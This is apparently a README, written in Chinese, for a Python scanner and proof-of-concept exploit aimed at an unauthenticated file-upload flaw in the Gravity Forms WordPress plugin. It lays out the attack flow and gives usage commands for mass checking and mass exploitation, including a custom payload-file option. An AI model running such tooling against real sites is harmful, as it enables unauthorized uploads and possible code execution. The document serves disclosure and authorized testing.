针对 Gravity Forms 中 CVE-2026-84434 的 Python 3 PoC 扫描器与漏洞利用工具。
| |
|---|
| 插件 | gravityforms |
| 受影响版本 | ≤ 3.1.0.4 |
| 修复版本 | 3.1.0.5+(厂商安全版本 3.1.1) |
| CVSS | 9.8(严重) |
| 认证 | 未认证 |
| CWE | CWE-434 — 无限制上传 |
| 致谢 | 0xd4rk5id3 — EnvoraSec (Wordfence) |
概述
隐藏的 File Upload 字段在验证流程中跳过了扩展名验证,而持久化路径可能仍会在没有等效检查的情况下调用 upload_file()。未认证攻击者可以向包含 Visibility → Hidden 的 File Upload 字段的公开表单发送 POST 请求。
文件存储在 wp-content/uploads/gravity_forms/ 下。Gravity Forms 通常会添加 .htaccess 规则以阻止 PHP 执行;RCE 取决于服务器配置(nginx、备用 docroot 等)。
攻击流程
- 检测 Gravity Forms 及版本 ≤ 3.1.0.4
- 爬取公开页面,查找
gform_wrapper 和隐藏的 fileupload 字段(input_{form}_{field})
- 用占位符填充必填的可见字段
- Multipart POST(
gform_submit、is_submit_{id}、文件放在隐藏输入上)
- 通过确认消息 / 条目提示 / 可选的标记文件获取进行确认
环境要求
- Python 3.9+
pip install -r requirements.txt
使用方法
pip install -r requirements.txt
# Check single target
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (built-in benign .txt probe unless --payload-file is set)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7
# Custom upload file (your own probe — not included in this repo)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7 \
--payload-file probe.txt
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 10 --quiet
CLI 选项
输出(批量检查)
| 文件 | 内容 |
|---|
cve_2026_84434_results.jsonl |
常见 status 值(检查)
局限性
- 检查模式只能看到在公开 HTML 中渲染的隐藏上传字段;仅管理员可见的隐藏字段无法远程发现。
- FOFA 风格的列表包含许多已修补的站点或没有隐藏上传的表单——预计候选率较低。
- 默认利用上传的是无害文本标记,而非 webshell。
仓库结构
.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
本地扫描列表和产物(list.txt、*.jsonl、自定义 payload)位于 .gitignore 中,不应提交。
法律声明
仅用于授权的安全测试。您有责任遵守适用的法律和项目规则。